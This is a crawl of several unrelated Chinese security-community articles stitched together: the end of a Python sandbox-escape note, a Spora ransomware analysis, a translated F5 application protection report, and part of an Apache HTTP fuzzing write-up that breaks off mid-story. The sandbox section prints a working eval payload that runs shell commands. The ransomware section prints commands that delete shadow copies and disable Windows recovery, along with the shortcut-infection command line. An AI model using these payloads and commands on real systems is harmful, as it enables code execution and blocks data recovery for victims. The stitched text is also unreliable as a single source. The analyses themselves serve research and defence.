<https://www.anquanke.com/post/id/86366%E3%80%82>
直接利用opcode,rce
## 其他特殊
### 限制()
如果过滤了(),则不能执行函数
我们可以通过赋值劫持,builtins模块,利用模块之间的引用关系,劫持后续一个传入内容可控的函数为eval进行任意代码执行
参考sctf2020 pysandbox2
app.view_functions[request.form[[].__doc__[1]]]=lambda:request.form[[].__doc__[0]];app.view_functions[1]=app.finalize_request;app.finalize_request=eval&u=security&B=self.view_functions[1](eval("__import__('os').popen('ls').read()"))
### sys.modules
`sys.modules` 是一个字典，里面储存了加载过的模块信息,但是不能直接使用， sys.modules 中未经 import
加载的模块对当前空间是不可见的.
如果在
sys.modules['os'] = 'not allowed'
修改os库,会会导致import失败,
我们只要
del sys.modules['os']
既可导入
## 参考资料
<http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html>
[Paving the Way to Securing the Python
Interpreter](http://tav.espians.com/paving-the-way-to-securing-the-python-interpreter.html)
<https://misakikata.github.io/2020/04/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8%E4%B8%8ESSTI/#%E7%89%B9%E6%AE%8A%E5%87%BD%E6%95%B0%E6%9F%A5%E6%89%BE>
<https://www.smi1e.top/python-%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/>
<https://blog.csdn.net/wy_97/article/details/80393854>
<https://delcoding.github.io/2018/05/ciscn-writeup/> | 社区文章 |
1\. 概述
Spore勒索软件，通过邮件进行传播，其中整个勒索软件有以下特点
1完美的密钥管理，无需C&C服务器上传密钥
2 一个简洁的提供勒索解密的网站（可聊天、提供免疫方案）
3 文件夹快捷方式传播
1. 详细分析
首先看一下勒索软件运行之后会在本地留下一个网页，并显示网页，如下图所示
看不懂俄文，翻译成中文
在输入IP之后，发现页面做的非常简洁，可以看到下面提供的服务，这些服务相比其他的勒索软件价格还是比较低的在，这个样本最大的特点是提供了一个免疫的选项，你可以在这个选择买这个服务，来避免以后在次遭受到spora家族的勒索。并且提供了一个对话板，可以看到勒索者和受害者的对话。
下面是样本的详细分析
文件类型
Hta
文件MD5
37477dec05d8ae50aa5204559c81bde3
此文件的主要功能在临时文件存放一个close.js文件，然后运行这个文件
下面开始分析这个js文件
文件类型
Js
文件MD5
fc1b2bec47aaa059319f4a47cb37c5e2
可以看下这个js文件
转换成比较好看的格式，可以看个前面是个解密的过程的，加个断点，重点关注下b这个变量
放到VS中进行调试
经过解密后，调用解密出的函数
弄出可读形式更高的
又解密出一个函数，进行调用
又继续解密
在临时文件夹中添加一个docx文件，但是只写入一个字节
并运行这个doc文件
运行之后是崩溃，应该黑客是为了，让用户忙于关闭这个崩溃的doc文件，为运行自己的勒索软件赢取时间，最后运行释放在临时文件中的exe
下面分析exe样本
文件类型
Exe
文件大小
19,456 字节
文件MD5
312445d2cca1cf82406af567596b9d8c
壳信息
UPX 2.90
文件编译时间
2017-01-09 23:44:29
首先进行脱壳，这个压缩壳EXP定律法就可以搞定了
样本首先会取得C:\WINDOWS\system32\ntdll.dll 文件的主版本号，用于判断样本实在XP中或者是在xp以上的系统中
获取硬盘序列号
获取硬盘序列号之后，前面加上m，创建互斥量，并且已经创建则退出
样本会判断是否有参数 /u
当没有参数U的时候，首先会解密出公钥和要最后展示的HTML文件
下面开始对文件进行加密，要加密的文件有
Xls doc xlsx docx rtf odt pdf psd dwg cdrcd mdb 1cd dbf sqlite accdb jpg jpeg
tiff zip rar 7z backup
并对下面的四个文件夹是不进行加密的
对共享文件要进行加密的文件进行收集
将收集到的需要的加密的文件路径进行加密然后保存在文件中，用于解密时候调用
下面说说加密，会产生一个1024比特的RSA公私密钥
然后导出公私钥，并加入一些计算机信息 比如时间、计算机名称等等，并将这段MD5哈希
继续创建 AES 256位密钥
用生成的AES密钥加密生成的RSA私钥，然后用硬编码的RSA公钥加密AES密钥
创建密钥文件，并将上面加密的数据存入
然后分别将key文件拷贝到以下目录
C:\CH775-9FETR-TZTZT-ROTRF.KEY
C:\Documents andSettings\Administrator\Templates\CH775-9FETR-TZTZT-ROTRF.KEY
C:\Documents and Settings\Administrator\桌面\CH775-9FETR-TZTZT-ROTRF.KEY
然后对文件开始加密，首先会计算文件CRC32，只计算80字节
然后继续创建一个AES密钥，然后将文件内容和CRC32算出的值进行加密
最后将计算AES密钥的CRC，并将计算的CRC和AES密钥写入文件
最后将HTML文件显示出来
然后执行，下图的的命令，首先删除所有的卷影副本，防止数据恢复
并却通过下面的两个命令防止修复
bcdedit /set {default} recoveryenabledno 禁用自动修复
bcdedit /set {default} bootstatuspolicyignoreallfailures 启动策略，禁用Windows 7
的自动修复（忽略错误）
这个并没有pypassUAC,所以每次在win7及以上运行的时候都会弹框提示需要权限
最后，样本还有感染快捷方式的动作，也就是说，即使解密了，不进行免疫的话，样本也会再次运行，我们可以看到下面的文件夹快捷方式都被感染，会运行样本
C:\Windows\system32\cmd.exe /c explorer.exe"Windows" &
type"0ae282d1-ebb3-fa26-c2c4-243ecd668970.exe"
>"%tmp%\0ae282d1-ebb3-fa26-c2c4-243ecd668970.exe" & start"Windows"
"%tmp%\0ae282d1-ebb3-fa26-c2c4-243ecd668970.exe"
删除快捷方式的小箭头后无法将图标锁定到任务栏
3 免疫方案（预防措施）
由于样本会获取硬盘序列号，前面加上m,创建互斥量，如果有则推出，我们可以事先创建一个这样的互斥量，可以达到免疫的效果 | 社区文章 |
# F5 - 2018年应用程序保护报告
|
##### 译文声明
本文是翻译文章，文章原作者 F5，文章来源：f5.com
原文地址：<https://www.f5.com/labs/articles/threat-intelligence/2018-Application-Protection-Report>
译文仅供参考，具体内容表达以及含义原文为准。
>
> 保护应用程序（app）的安全是安全专家的一项重要任务，但许多专家们正感到这场战斗即将失败。在F5实验室的首份年度综合《应用程序保护报告》中，我们提供了一个应用程序复杂性的实践模型，并探索了应用程序是如何遭到攻击的，以及提供了用于赢得这场战斗的实践措施。
## 执行摘要
就像充满了多彩生命的珊瑚礁一样，Web应用程序是一种“群落生物”。它们由多个独立的组件组成，在具有不同要求的独立环境中运行并且支持跨网络的基础设施（云或传统的基础设施）。在本报告中，我们重点关注了不同的交互层
– 应用服务、应用访问、传输层服务（TLS）、域名服务（DNS）还有网络 – 每一个都可能成为潜在的攻击目标。
为了客观地了解应用程序是如何遭到攻击的，F5实验室综合审视了不同来源的数据，包括F5的内部数据集、WhiteHat
Security（白帽安全）的漏洞数据、Loryka的攻击数据以及F5委托Ponemon对IT专家进行的一项安全调查。
此外，我们还与沃特康姆社区大学网络安全中心的教员进行合作，对加利福尼亚州、华盛顿州、爱达荷州和俄勒冈州的数据泄露通知进行了广泛的审查。（在美国的每一个州，都是由州检察长办公室负责监督并执行本州的数据泄露披露法律。由于这一角色的存在，某些州还会公开发布数据泄露通知函。）
在这四个州中，通过分析2017年及2018年Q1的301个数据泄露事件，我们发现针对Web应用的攻击是造成数据泄露的首要原因，占30%。在F5实验室之前对横跨12年和26个国家的433个主要数据泄露事件的分析中，我们发现应用程序是53%的数据泄露事件的初始攻击目标。
应用程序保护一直以来都是一个关键任务，将来也是继续如此。
那么，哪些相关内容是CISO现在需要了解的呢？
应用程序各层分布图
## 第1个问题：我们使用了哪些App？它们在哪儿呢？
F5及Ponemon的调查《全球调研：不断变化的风险环境中的Web应用安全》发现，大多数企业对它们跟踪自己的所有App的能力缺乏信心。38%的受访者表示他们对是否了解企业的全部应用程序的位置“没有信心”。然而，与此同时受访者还表示他们的34%的Web应用是与关键任务有关的。最常见的Web应用是备份和存储应用（83%）、电子邮件等通信应用（71%）、文件管理和协调应用（66%）以及微软Office套件中的应用（65%）。
## 第2个问题：针对App的攻击将如何影响我的企业？
App遭到攻击可能会带来多种不同的影响。后果最为严重的一种是拒绝服务，如果将造成的后果的严重性分为1到10分（10分为最高）的话，81%的受访者将DoS造成的损失评为7到10分。敏感或机密信息的泄露（例如知识产权，还有商业交易秘密）排在第二位，77%的受访者将其评为7到10分。同样，73%的受访者将应用程序篡改评为7到10分。最后，64%的受访者将个人身份信息（PII）泄露评为7到10分（可能是客户、消费者或是员工的PII）。
DOS攻击的严重性评分
应用程序攻击的威胁种类地图
## 第3个问题：存在哪些重大风险？
根据各州检察长办公室在2017年和2018年第一季度发布的数据泄露通知，我们对这些网络攻击进行了仔细的研究。与应用程序有关的泄露事件主要包括web注入（70%）、web入侵（26%）以及App数据库入侵（4%）导致的信用卡信息窃取。我们将之与白帽安全的相关漏洞信息、Loryka的攻击监测信息以及Exploit-DB（一个符合CVE标准的公共漏洞及exploit库）公布的已知exploit进行交叉对比，以了解当前最重大的风险：
### 针对App服务的注入攻击
在2018年第一季度的数据泄露报告中，占比最高的类别（70%）是试图窃取用户信用卡信息的web注入攻击。注入攻击允许攻击者将命令或新的代码直接插入正在运行的应用程序中，以实施其恶意行为（也被称为App篡改攻击）。在过去十年中，最臭名昭著的注入攻击是SQL注入，占所有数据泄露通知的23%。注入漏洞（尚未被利用的漏洞）也很常见。白帽安全报告称2017年发现的所有漏洞中有17%是注入漏洞。这个问题是如此的严重，以至于2017
OWASP Top 10将注入漏洞评为应用程序风险的第一名。由于这个原因，企业应该将寻找、修复和封禁注入漏洞当作高优先级事项来处理。
### 账户访问劫持
分析表明2017年和2018年第一季度所有的web
app数据泄露事件中有13%与访问劫持有关。细分如下：电子邮件导致的凭据窃取（34.29%）、配置错误的访问控制（22.86%）、暴力密码破解攻击（5.71%）、撞库攻击（8.57%）以及社交工程攻击（2.76%）。同样，Exploit-DB中将近25%的web app脚本与访问劫持有关。F5与Ponemon的调查还表明75%的受访者在关键web应用中只采用了用户名+密码的身份验证方式。
对于重要的应用，强烈建议使用联合验证或多因素验证等强身份验证方案。对于不具有完整控制权限的外部应用，可以采用云安全访问代理（CASB）来整合和加固身份验证解决方案。
常见的攻击路径
### 针对App服务的反序列化攻击
2017年，反序列化攻击的数量有所减少，但影响范围变大了。攻击者在入侵Equifax窃取1.48亿美国公民和1520万英国公民的数据时利用的就是Apache
Struts中的反序列化漏洞。序列化是指App将数据转变为传输格式；反序列化则是将数据再转换回来。这种攻击变得越来越普遍是因为应用程序现在都是联网的子系统集群，需要进行序列化的数据通信。攻击者通过在序列化的数据流中植入命令，可以直接将未过滤的恶意代码送入应用程序引擎的心脏。Exploit-DB中30%的脚本与反序列化漏洞有关。
为了阻止此类攻击，应用程序应该对所有的用户输入进行扫描和过滤，包括序列化的数据流。
### 针对传输层的攻击
虽然63％的受访者表示他们总是将SSL / TLS用于他们的web
app中，但只有46％的受访者表示他们在自己的大多数（76-100％）app中使用了SSL /
TLS加密。尽管许多传输层加密标准已经“退役”，例如SSL和TLS
1.0，但它们仍被大量使用，这带来了许多信息窃取或中间人攻击的风险。此外，47%的企业称它们使用自签名的证书，这更加减少了其app的可信程度。
DDoS攻击贯穿在应用程序的所有层中，因此企业拥有DDoS响应策略至关重要。
### 针对客户端的脚本攻击（访问劫持）
针对App客户端的攻击报告常常较少，因为受到攻击的个人往往并不喜欢被公开的报告提及，而且不同于应用程序泄露事件，在这一方面并没有报告的监管要求。常见的客户端劫持攻击是XSS攻击，XSS是最流行的漏洞之一（根据白帽安全，XSS占2017年所有漏洞的30%；并且占Exploit-DB脚本的9.24%）。XSS攻击可能导致用户凭据窃取或访问劫持。另一种常见的客户端劫持攻击是跨站请求伪造（CSRF）。这两种攻击都涉及到攻击者在网站上植入恶意脚本代码并最终在app客户端上执行的场景。
有一些web服务器选项可以帮助减少此类脚本攻击，例如将会话cookie设置为HTTP-only以及限制域，以及将X-frame-options设置成DENY。
### 针对客户端的恶意软件攻击
客户端也会直接受到恶意软件的攻击，这些恶意软件可能劫持浏览器以嗅探或拦截应用程序的身份验证凭据。对浏览器和手机客户端而言，针对银行账户登录凭据的恶意软件非常常见。虽然当前对客户端设备的保护很大程度上被忽略了（因为它很难控制），但更加严格的隐私数据保护法案，例如欧盟的GDPR，很有可能会对安全性较差的app客户端进行惩罚。
某些Web应用防火墙可以监测可疑连接、检测受感染的客户端并过滤其访问。
## 第4个问题：我是否已采取了足够的App保护措施？我怎么与其它人（企业）进行对比呢？
F5与Ponemon的调查研究提供了一些关于其它企业是如何对待应用程序的安全性的见解。第一个问题是，负责人应该是谁？28%的受访者表示CIO或者CTO应该负责应用程序的安全风险管理流程。尽管当数据泄露事件发生时，CISO往往是那个担责的，但只有10%的CISO是这一领域的负责人。
实现强应用程序安全性的前三大阻碍分别是：应用程序各层缺乏可见性、缺乏技术人员和专家以及迁移至云环境。第一个问题和第三个问题都与应用程序各层的分析与检测有关，这些都是可解决的问题，但需要与开发团队共同进行扫描、监测和协作。
Web应用防火墙是应用程序安全解决方案的首选措施（26%）；其次是应用程序扫描（20%）和渗透测试（20%）。令人意外的是，26%的企业没有部署应用程序加固流程，虽然这是一种加强应用程序安全性的有效措施。
## 保护应用程序的四个步骤
虽然这些发现看似描绘了一幅暗淡无光的画面，但以下四个步骤将大大有助于增强您的应用程序安全性。最重要的是，这些步骤都很简单。
### 1\. 了解你的环境
了解你拥有的应用程序以及它们可以访问哪些数据库。是的，这不容易，但这是必要的。重点关注企业所需的app以及客户依赖的app。对于企业所需的app，定期对其进行扫描和清点。对于用户依赖的外部app，采用云访问安全代理（CASB）将有助于统计和跟踪该app的使用情况。对于内部app，一定要与开发团队保持良好的关系，以便于跟踪app的下一步开发计划、部署环境等。
### 2\. 减少攻击面
任何直接或非直接暴露在互联网上的应用服务都可能被攻击者所利用。考虑到app的层级之多以及API接口的越来越多的使用，这个攻击面还是非常大的。所有暴露的部件都应该进行访问控制，并且定期打补丁和加固。一个好的Web应用防火墙（WAF）
– 我们的调查中排名第一的安全工具 –
可以给你带来充足的实施这些措施的时间。某些WAF产品还带有“虚拟补丁”功能，可以扫描应用程序的流量并阻止那些已知的exploit攻击。它们通过威胁情报源和企业环境漏洞扫描的自动签名更新来获知应该阻止哪些内容。这可以为新exploit发布时尽快进行修补减轻时间压力，同时为运营团队提供了测试和推出修复补丁的时间。由于许多安全团队未在其WAF上启用必要的安全屏蔽功能，很多安全事件原本是可预防的。您还应该对应用程序进行隔离和分区，以免在较低优先级的应用程序被入侵时，攻击者能够以之为跳板访问更高优先级的系统。这些可以在代码中完成，包括服务器隔离、沙盒、低权限用户甚至防火墙等。
### 3\. 基于风险划分防护优先级
一旦你知道了哪些应用程序是重要的，并且最小化了你的攻击面，你需要找到需求额外资源的应用程序。你的风险分析策略并不一定要是完美的，但要比随机猜测或有偏见的决策要好。所以，可以使用数据来驱动你的风险策略，弄清楚攻击者的目的所在。从安全测试和扫描获取应用程序的关键数据。对内部开发的代码通过内部扫描器、代码审计或第三方（它们可以提供更专业的第三者角度）进行测试。有了这些信息，你就可以正确地评估任何内部开发的应用程序的风险。
### 4\. 选择弹性和集成的防护工具
你需要选择一个好用且好管理的解决方案，这个解决方案要兼具弹性和强力，涵盖众多现有威胁及新兴威胁的防护、检测和恢复功能。除了我们已经提到的技术控制之外 –
Web应用防火墙、漏扫解决方案和CASB –
应该对应用程序依赖的所有层都进行防护。DNS服务器应该用专用的DNS防火墙进行防护，并保证其高可用性。传输层通信应该使用兼容现行标准的加密器进行加密，web服务器应该使用HTTP严格传输安全（HSTS）来对所有的关键数据流进行加密。安全解决方案应该保持一致性，并且被安全工程师所充分熟悉和使用。许多入侵事件的发生就是因为安全解决方案的错误配置或错误理解所导致的。
基于DDoS的潜在危害性，通过本地防护设备或托管解决方案在网络层、应用层以及基础设施层保护您的应用程序至关重要。此外还应该根据应用程序面临的风险和可能的威胁来对安全解决方案进行定制。
在客户端保护方面，请记住您有两类用户：普通客户以及内部用户。要保护内部用户，可以考虑使用联合身份验证或多因素身份验证（MFA）。对于只支持用户名和密码验证方式的应用程序（这些用户面临着密码猜测攻击和凭据窃取攻击），CASB可以帮助加固外部app的身份验证。对于高价值的应用程序，保护客户端的会话也很重要。某些兼具强力和弹性的WAF系统可以帮助您保护app的客户端会话，包括检测机器人攻击、暴力破解攻击以及来自可疑位置的登录等。这种简单的验证可以为您的客户提供一层额外的防护。
## 第5个问题：应用程序保护的未来展望
### 无服务器应用
无服务器应用是开发者构建web应用的一种新方式，这种方式不再需要考虑服务器，也不再需要考虑app的支撑设施。开发者编写的代码和脚本将连接到直接触发服务和功能的API，而不是传统的那种代码在服务器上运行，然后再访问其它服务器。无服务器计算使得开发者可以更加注重于快速、线型的app开发。从长远来看，无服务器应用在灵活性和可扩展性上更胜一筹。但需要注意的是，无服务器应用仍然与传统app一样易受相同类型的攻击，尤其是针对用户登录页面和API的攻击。
### 将应用程序安全进行外包
在F5和Ponemon的安全调查中，缺乏技术人员和安全专家被认为是实施应用程序保护的主要阻碍之一。这一趋势可能会继续恶化。此外，由于每个企业平均使用了765个不同的web应用，我们预计应用程序安全的外包市场将会增长。这可能包括DDoS防护产品、web应用安全监测产品或是提供安全服务的托管平台。使用外包服务意味着一个将你的特定安全需求与外包商的能力、关注点以及经验进行匹配的过程。
### TLS协议的发展
由于TLS
1.3与之前的版本有很大的不同，安全社区还在挣扎是否采用它。从长远来看，量子计算的幽灵同样影响着TLS。我们认为TLS还会遭到更多的冲击，但目前无从得知这些冲击来自何方。企业应该留意浏览器对TLS
1.3的支持，并关注网络加密的主要标准的变化和量子计算的发展。
### 应用程序保护的层级框架
由于现代应用程序是脚本、库、服务和设备的大合集，我们希望安全工具能够赶上这种模式。在未来，开发人员将可以从广泛的安全组件和框架中进行选择，这些组件和框架与今天的脆弱、过度依赖生态系统的组件和框架截然不同。开发者将可以使用“默认安全”的应用程序框架进行开发，这些框架自带以标准格式报告安全状况和事件的功能。防御者将可以找到能够以安全但有效的方式对生产中的app组件进行连续测试的安全扫描器。
## 结论
读完这些，你可能会觉得web应用的安全性令人生畏。也许确实如此 –
但仍有一些简单的方法可以用来开始。如果你的公司较小，并且还没有使用web应用防火墙（WAF），那么建议你从这里开始。请务必接受适当的培训以使用WAF的全部功能来保护你的应用。引用我们自己的一句话就是：“第一步可能很小，但重要的是，你踏出了第一步”。
本报告的目的是帮助您回答以下问题：“为了保护我的应用程序，我现在可以做的最重要的事情是什么？”我们通过假设问答的方式模拟了CISO在考虑应用程序安全性时可能遇到的问题。衷诚地希望这份报告可以帮助您填补应用程序安全策略中的空缺。
## 参考链接：
1\. <http://cve.mitre.org/data/refs/refmap/source-EXPLOIT-DB.html>
2\. <https://www.exploit-db.com/about-exploit-db/>
3\. <https://support.f5.com/csp/article/K07359270>
4\.
<https://www.f5.com/content/dam/f5-labs-v2/article/pdfs/F5Labs_2018_Application_Protection_Report.pdf> | 社区文章 |
# 基于套接字的模糊测试技术之Apache HTTP（上）：突变
|
##### 译文声明
本文是翻译文章，文章原作者 GitHub Security Lab，文章来源：securitylab.github.com
原文地址：<https://securitylab.github.com/research/fuzzing-apache-1/>
译文仅供参考，具体内容表达以及含义原文为准。
在之前关于基于套接字的模糊测试技术的博客文章中，我解释了如果对FTP服务器进行模糊测试，并详细说明了我是如何对FreeRDP进行模糊测试。在我们基于套接字的模糊测试技术系列的第三部分也是最后一部分中，我将重点关注
HTTP 协议，更具体地说，我将针对 **Apache HTTP 服务器** 进行测试
作为最流行的 Web 服务器之一，Apache HTTP 服务器不需要任何介绍。Apache HTTP 是最早的 HTTP 服务器之一，其开发可追溯到
1995 年。截至 2021 年 1 月，它的市场份额为 26%，是互联网上使用量第二大的 Web
服务器——目前运行在超过300.000.000台服务器上——仅略微落后于 Nginx (31%)
我将分三部分详细介绍我的 Apache fuzzing 研究。在第一部分中，我将简要介绍 Apache HTTP 的工作原理，并让您深入了解自定义
mutator 以及如何将它们有效地应用于 HTTP 协议
我们开始吧！
## 一、自定义突变器
与单纯的随机生成输入相比，基于突变的模糊测试对现有的输入引入了微小的变化，这些变化可能仍然保持输入有效，但会产生新的行为。这就是我们所说的
**“mutators”**
默认情况下，AFL fuzzer
实现了基本的突变机制，如位翻转、字节递增/递减、简单运算或块拼接。这些mutator总体上实现了良好的效果，尤其是在二进制格式中，但是当应用于基于文法的格式（如
HTTP）时，它们的有效率一般。这就是为什么我决定创建一些额外的突变器，专门用于对 HTTP 协议进行模糊测试的任务。您可以在以下链接中找到代码：
https://github.com/antonio-morales/Apache-HTTP-Fuzzing/tree/main/Custom%20mutators
我在本练习中关注的一些突变策略包括：
* 拼接变换（Piece swapping）：交换两个不同请求的部分
* 行交换（Line swapping）: 交换两个不同 HTTP 请求的行
* 字交换（Word swapping）: 交换两个不同HTTP请求的单词
* 字符集暴力替换（Charsets bruteforce）：对某些字符集进行暴力遍历替换
* 以1字节为字符集的暴力替换（1-byte bruteforce）：`0x00 – 0xFF`
* 以2字节为字符集的暴力替换（2 bytes bruteforce）：`0x0000 – 0xFFFF`
* 以3 个字母为字符集的暴力替换（3 letters bruteforce）：`[a-z]{3}`
* 以4个数字为字符集的暴力替换（4 digits bruteforce）：`[0-9]{4}`
* 以3 个字母和1个数字为字符集的暴力替换（3 letters & numbers bruteforce）：`([a-z][0-9){3}`
* 以3字节或者4字节字符串为字符集的暴力替换（3bytes / 4 bytes strings bruteforce）：将输入文件中的所有 3/4 字节字符串进行暴力替换
您可以在这里找到为了能够使用这些自定义突变器而需要包含的附加函数：
https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20mutators/Mutators_aux.c
## 二、覆盖率比较
在我们能够保证我们的突变器能够用于完整的长期模糊测试工作之前，我们需要去验证我们自定义的mutator是否有效。
考虑到这一点，我使用自定义突变器的不同组合进行了一系列模糊测试。我的目标是找到在 **24 小时** 内提供更高代码覆盖率的变异器组合。
起始覆盖率如下（仅使用原始输入语料）：
* 行数： **30.5%**
* 函数： **40.7%**
这些是 24 小时后每个mutator组合的结果（所有测试均使用以下参数进行`AFL_DISABLE_TRIM=1`和`-s 123`）
这里没有列出显示了更糟糕结果的mutator组合，且并没有将其列入考虑范围。如您所见， **Line Mixing + AFL HAVOC**
是获胜的组合
之后，我通过增加启用的 Apache Mod 的数量进行了第二次测试。Line Mixing + HAVOC测试再次成为获胜的组合
虽然这是获胜的组合，但这并不意味着我只使用了这个自定义的mutator。在整个Apache HTTP
模糊测试过程中，我使用了所有可用的自定义突变器，因为我的目标是获得最高的代码覆盖率。在这种情况下，mutator 效率变得不那么重要了
## 三、自定义语法
另一种方法是使用基于语法的突变器。除了使用自定义突变器之外，我将一个自定义语法添加到 AFL++工具中用来模糊 HTTP：[Grammar-Mutator](https://github.com/AFLplusplus/Grammar-Mutator)
使用 Grammar-Mutator 非常简单：
make GRAMMAR_FILE=grammars/http.json
./grammar_generator-http 100 100 ./seeds ./trees
然后
export AFL_CUSTOM_MUTATOR_LIBRARY=./libgrammarmutator-http.so
export AFL_CUSTOM_MUTATOR_ONLY=1
afl-fuzz …
就我而言，我创建了一个简化的 [HTTP 语法规范](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Custom%20Grammars/http.json)：
我已经包含了最常见的 HTTP关键词（`GET`、`HEAD`、`PUT`、 …）。这个语法中，我也使用了单字节的字符串，然后在后面的阶段，我使用
**Radamsa**
来增加这些字符串的长度。[Radamsa](https://gitlab.com/akihe/radamsa)是另一个通用[模糊](https://gitlab.com/akihe/radamsa)器，最近作为自定义
[mutator](https://github.com/AFLplusplus/AFLplusplus/issues/72)库添加到 AFL++
中。同样，我在这里省略了大部分附加字符串，并选择将它们包含在字典中
## 四、Apache配置
默认情况下，Apache HTTP
服务器是通过编辑`[install_path]/conf`文件夹中包含的文本文件来配置的。通常主配置文件被命名为`httpd.conf`，它每行包含一个指令。此外，可以使用`Include`添加其他配置文件，并且也可以使用通配符来包含许多配置文件。。反斜杠“\”可以用作一行的最后一个字符，表示指令继续到下一行，并且在反斜杠和行尾之间不能有其他字符或空格
### 4.1 模块、模块和更多模块
Apache 具有模块化架构。您可以启用或禁用模块以添加和删除 Web 服务器功能。除了默认与 Apache HTTP
服务器捆绑的模块外，还有大量第三方模块，提供扩展功能
要在 Apache 构建中启用特定模块，请在构建过程的生成配置文件阶段中使用标志`--enable-[mod]`：
./configure --enable-[mod]
`[mod]`中的内容我们要构建中启用的模块的名称
我使用了一种 **增量方法** ：我从一组启用了`--enable-mods-static=few`的小模块开始，在达到稳定的模糊测试工作流程后，我启用了一个新模块并再次测试了模糊测试的稳定性。此外，我启用了`--enable-[mod]=static`和`--enable-static-support`来使得Apache模块是以静态链接的方式的构建，从而显着提高了模糊测试速度
在构建步骤之后，我们可以定义这些模块应该在哪个上下文中发挥作用。为此，我修改了`httpd.conf`文件并将每个模块链接到不同且唯一的`Location`（目录或文件）。这样，我们就有了不同的服务器路径指向的不同
Apache 模块
为了使模糊器的工作更轻松，我将我的`htdocs`文件夹中包含的大多数文件的文件名长度修改为1到2个字节。这使得AFL++能够更轻松猜测有效的URL请求
例如：
* `GET /a HTTP 1.0`
* `POST /b HTTP 1.1`
* `HEAD /c HTTP 1.1`
在模糊测试时，我尝试启用最大数量的 Apache 模块，目的是检测模块间的并发错误
## 五、更大的字典，冲
我在尝试对Apache进行模糊测试时发现了一个限制条件，AFL可以正确管理的最大字典条目数限制为 200
挑战在于，对我在`httpd.conf`中包含的每个新模块及其相应位置，我还需要添加它们各自的字典条目。例如，如果我在“mod_crypto”位置添加了一个新的“scripts”文件夹，我还需要向`scripts`字典添加一个新字符串。此外，一些模块（例如，`webdav`），也需要大量的新HTTP关键词（`PROPFIND`，`PROPPATCH`等）
出于这个原因，考虑到更大的字典在其他场景中也很有用，我向AFL++
项目提交了一个[拉取请求](https://github.com/AFLplusplus/AFLplusplus/pull/519)来添加这个功能
这会产生一个新的 **AFL_MAX_DET_EXTRAS**
环境变量，它允许我们设置以正确方式使用的最大字典条目数。你可以[在这里](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Dictionaries/http_request_fuzzer.dict.txt)找到我使用的字典之一
在本系列的第二部分，我们将展示一种更有效的方法来处理文件系统的系统调用，并介绍“文件监视器”的概念
## 六、代码更改
### 6.1 MPM模糊测试
Apache HTTP Server 2.0 将其模块化设计扩展到 Web 服务器的最基本功能。服务器附带了一系列多进程处理模块
(MPM)，这些模块负责绑定到机器上的网络端口、接受请求并分派子进程来处理请求。您可以在
<https://httpd.apache.org/docs/2.4/mpm.html> 上找到有关 Apache MPM 的更多信息
在基于 Unix 的操作系统中，Apache HTTP服务器默认配置 **MPM 事件** ，尽管我们可以通过`--with-mpm=[choice]`配置标志选择要使用的MPM版本。每个MPM模块在多线程和多进程处理方面都有不同的特性。因此，我们的模糊测试方法将因使用的MPM配置而异
我对这两个配置进行了模糊测试：
* Event MPM（多进程和多线程）
* Prefork MPM（单一控制过程）
在开始我们的模糊测试所需的代码更改方面，我采用了一种新方法，不是再将本地文件描述符替换套接字来提供我们的模糊测试输入。我的新方法是创建了一个的本地网络连接并通过它发送模糊测试输入（感谢@n30m1nd的启发！）
### 6.2 我们对传统代码的修改
有关有效模糊网络服务器所需的一般代码更改，请查看[之前的系列文章](https://securitylab.github.com/research/fuzzing-sockets-FreeRDP/)。但是，这里请回顾一些关于这些更改中最重要更改的摘要
一般来说，这些变化可以分为：
* 旨在减少熵的变化
* 用常量种子替换`random`和`rand`：[示例](https://github.com/antonio-morales/Apache_2.5.1/commit/e0be82bce715dda77841de3360f6328d26aa35cb#diff-1d0396bf58a901188f8858c71c9ba6ea2cae5c8fc480565079fb2911c45c9bbcR5659)
* 用常量种子替换`time()`、`localtime()`和`gettimeoftheday()`调用：
* 用固定值替换`getpid()`调用：[示例](https://github.com/antonio-morales/Apache_2.5.1/commit/e0be82bce715dda77841de3360f6328d26aa35cb#diff-1d0396bf58a901188f8858c71c9ba6ea2cae5c8fc480565079fb2911c45c9bbcR5626)
* 旨在减少延迟的变化：
* 删除一些`sleep()`和`select()`调用
* 加密程序的变化：
* 禁用校验和：[示例](https://github.com/antonio-morales/Apache_2.5.1/commit/72a7bed52975f3258ab56a53f67b56632ddf30a2#diff-485c57a981998a7b2fb43f90f2084667358ab10beea82a0d15269564fb7eeaa3R1468)
* 设置静态随机数：[示例](https://github.com/antonio-morales/Apache_2.5.1/commit/72a7bed52975f3258ab56a53f67b56632ddf30a2#diff-54ad55cab9d74b14dd358a112365481763d8e6f28296b56b920c198352cee37bR385)
您可以通过检查以下补丁来查看有关这些更改的所有详细信息：
* [补丁 1](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch1.patch)
* [补丁2](https://github.com/antonio-morales/Apache-HTTP-Fuzzing/blob/main/Patches/Patch2.patch)
## 七、“假”错误：当你的工具欺骗你时
最初在Apache HTTP
中被认为似乎是一个简单的错误，在分析后结果却变得更加复杂。我将详细介绍我在探索海森堡Bug兔子洞中的旅程，因为这是一个很好的例子，说明有时候进行根本原因的分析有时是多么令人沮丧。此外，我认为这些信息对于其他安全研究人员可能非常有用，他们可能处于相同的情况，您不确定该错误实际上存在于目标软件中还是在您的工具中
当我检测到一个只能在 AFL++ 运行时重现的错误时，这个故事就开始了。当我尝试直接在 Apache 的 httpd
二进制文件上重现它时，服务器没有崩溃。在这一点上，我脑海中闪过的第一个想法是我正在处理一个非确定性错误。换句话说，一个错误只发生在 N
种情况中的一种。所以，我做的第一件事是创建一个脚本，该脚本启动应用程序 10,000 次并将其 stdout
输出重定向到一个文件。但是还是没有出现这个bug。我将执行次数增加到 100,000，但我们的错误重现仍然难以捉摸
奇怪的是，每次我在 AFL++ 下运行它时，都会一直触发该错误。所以我考虑了环境和 ASAN
的影响，这可能是我们的神秘错误的罪魁祸首。但是在对这个假设进行了数小时的深入研究后，我仍然无法找到可靠地重现错误所需的条件
·我开始怀疑我的工具可能在欺骗我，于是我决定使用 GDB 更深入地调查这个候选错误
